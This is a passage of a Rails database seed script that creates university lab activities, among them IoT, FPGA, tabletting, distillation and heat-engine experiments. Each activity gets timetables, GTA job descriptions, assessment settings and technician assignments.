\"400\").first_or_create!(name: \"Induction Lab\",\n name_abrv: \"COM-INDUCT\", archived: false, in_drive: false, user_id: 3)\n at387 = ActivityTimetable.where(activity_id: a387.id).first_or_create!(duration: 180, kit_prep_time: 240, min_week_num: nil, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a387.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a387.id).first_or_create!(criteria: \"EEE or COM students with some experience of soldering and basic electronics\",\n job_desc:\"Supervising students as they learn basic electronics and familiarise themselves with the lab space\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a387.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a387.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a387.id, programme_id: $prog_com.id).first_or_create!\n\n\n a388 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM3505\").first.id, code: \"401\").first_or_create!(name: \"Internet of Things\",\n name_abrv: \"IoT\", archived: false, in_drive: false, user_id: 5)\n at388 = ActivityTimetable.where(activity_id: a388.id).first_or_create!(duration: 120, kit_prep_time: 240, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"120 minute session, for 10 weeks\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a388.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a388.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a388.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a388.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a388.id, programme_id: $prog_com.id).first_or_create!\n\n\n a389 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"402\").first_or_create!(name: \"FPGA Lab\",\n name_abrv: \"COM-FPGA\", archived: false, in_drive: false, user_id: 3)\n at389 = ActivityTimetable.where(activity_id: a389.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a389.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a389.id).first_or_create!(criteria: \"Knowledge of FPGA programmings and digital logic\",\n job_desc:\"Training students in simple FPGA programming of logic gates and adders\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a389.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a389.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a389.id, programme_id: $prog_com.id).first_or_create!\n\n\n a390 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6501\").first.id, code: \"240\").first_or_create!(name: \"MSc Shaddowbots\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at390 = ActivityTimetable.where(activity_id: a390.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 100, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at390.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a390.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a390.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a390.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a390.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a391 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"100\").first_or_create!(name: \"Absorbtion\",\n name_abrv: \"DC2\", archived: false, in_drive: false, user_id: 2)\n at391 = ActivityTimetable.where(activity_id: a391.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a391.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a391.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a391.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a391.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a391.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a392 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR334\").first.id, code: \"101\").first_or_create!(name: \"Bio Plastics\",\n name_abrv: \"BIOPLAST\", archived: false, in_drive: false, user_id: 1)\n at392 = ActivityTimetable.where(activity_id: a392.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a392.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a392.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a392.id).first_or_create!(assess_weight: nil, notes: \"All assessment was handled by the AMRC\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a392.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a392.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a393 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6311\").first.id, code: \"102\").first_or_create!(name: \"Clean Energy\",\n name_abrv: \"CE\", archived: false, in_drive: false, user_id: 4)\n at393 = ActivityTimetable.where(activity_id: a393.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a393.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a393.id).first_or_create!(criteria: \"Interest/experience would suit people with engineering or physics backgrounds. Ideally, some general knowledge about electricity and perhaps renewable energy. This is considered small-scale equipment.\n\n\n\n\n\n\n This requires attention to detail and an ability to stick to deadlines and follow marking criteria. Should be capable of providing useful and constructive feedback. Marking through MOLE and can be done at a time to suit the GTA.\",\n job_desc:\"Supervising groups of students using the Heliocentris Clean Energy Trainer. This is considerd small-scale equipment. Training will be provided for the experiment. Ideally, two GTAs will be required, one of who will be required to mark all the submissions. Should also be prepared to answer enquiries through the discussion board. Please see row below for marking information.\n\n Marking of reports. Full training will be given. The first stage is to run the experiment, take measurements and process to give the results. This should give a good understanding of the experiment.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a393.id).first_or_create!(assess_weight: 20.0, notes: \"This involves a complete report - because it counts for 20% of the module: marking carried out by staff/GTA\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a393.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a393.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a394 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"103\").first_or_create!(name: \"Exp 1: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at394 = ActivityTimetable.where(activity_id: a394.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a394.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a394.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a394.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a394.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a394.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a395 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"104\").first_or_create!(name: \"Exp1: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at395 = ActivityTimetable.where(activity_id: a395.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a395.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a395.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a395.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a395.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a395.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a396 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"105\").first_or_create!(name: \"Exp 1: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at396 = ActivityTimetable.where(activity_id: a396.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a396.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a396.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a396.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a396.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a396.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a397 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE130\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 1)\n at397 = ActivityTimetable.where(activity_id: a397.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a397.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a397.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a397.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a397.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a397.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a398 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 2)\n at398 = ActivityTimetable.where(activity_id: a398.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a398.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a398.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a398.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a398.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a398.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a399 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"107\").first_or_create!(name: \"Distillation\",\n name_abrv: \"DC1\", archived: false, in_drive: false, user_id: 5)\n at399 = ActivityTimetable.where(activity_id: a399.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a399.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a399.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a399.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a399.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a399.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a400 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"108\").first_or_create!(name: \"Experiment E2: Investigation of heat engines operating in open and closed systems\",\n name_abrv: \"E2\", archived: false, in_drive: false, user_id: 1)\n at400 = ActivityTimetable.where(activity_id: a400.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a400.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jn5df35\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a400.id).first_or_create!(criteria: \"Interest/experience in cylinders, volume measurement and valves. The equipment is considered to be small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using simple heat engine. Training will be provided for the experiment. Typically up to two GTAs will be required per session.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a400.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a400.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a400.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a401 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"109\").first_or_create!(name: \"Exp 2: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at401 = ActivityTimetable.where(activity_id: a401.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a401.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a401.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a401.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a401.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a401.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a402 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"110\").first_or_create!(name: \"Enthalpies of Combustion\",\n name_abrv: \"FY2\", archived: false, in_drive: false, user_id: 2)\n at402 = ActivityTimetable.where(activity_id: a402.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 4, max_week_num: 4, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a402.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a402.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a402.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a402.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a402.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a403 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"111\").first_or_create!(name: \"Experiment 3 (student proposals)\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at403 = ActivityTimetable.where(activity_id: a403.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a403.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a403.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a403.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a403.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a403.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a404 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"112\").first_or_create!(name: \"Experiment E1: Measurement of kappa for air by pressure measurement\",\n name_abrv: \"E1\", archived: false, in_drive: false, user_id: 2)\n at404 = ActivityTimetable.where(activity_id: a404.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a404.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jjd5ugd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a404.id).first_or_create!(criteria: \"Interest/experience in pumps, valves, P/T measurement and data acquisition. The equipment is considered to be medium scale.\",\n job_desc:\"Supervising groups of students using the Armfield TH5 (check Armfield website for details). Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a404.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a404.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a404.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a405 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"113\").first_or_create!(name: \"Experiment F1: Determination of the activation energy for the iodine clock reaction\",\n name_abrv: \"F1\", archived: false, in_drive: false, user_id: 4)\n at405 = ActivityTimetable.where(activity_id: a405.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a405.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hk9uttd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a405.id).first_or_create!(criteria: \"Interest/experience would suit people with chemistry backgrounds. This involves running a number of experiments at different temperatures and determining the reaction time. It is based on the \\\"iodine clock reaction\\\", where the reaction time is determined from a sudden change in colour.\",\n job_desc:\"Supervising groups of students using \\\"typical\\\" lab equipment: chemicals, test tubes, water baths and stirrers. Training will be provided for the experiment and also for the marking. Typically up to two 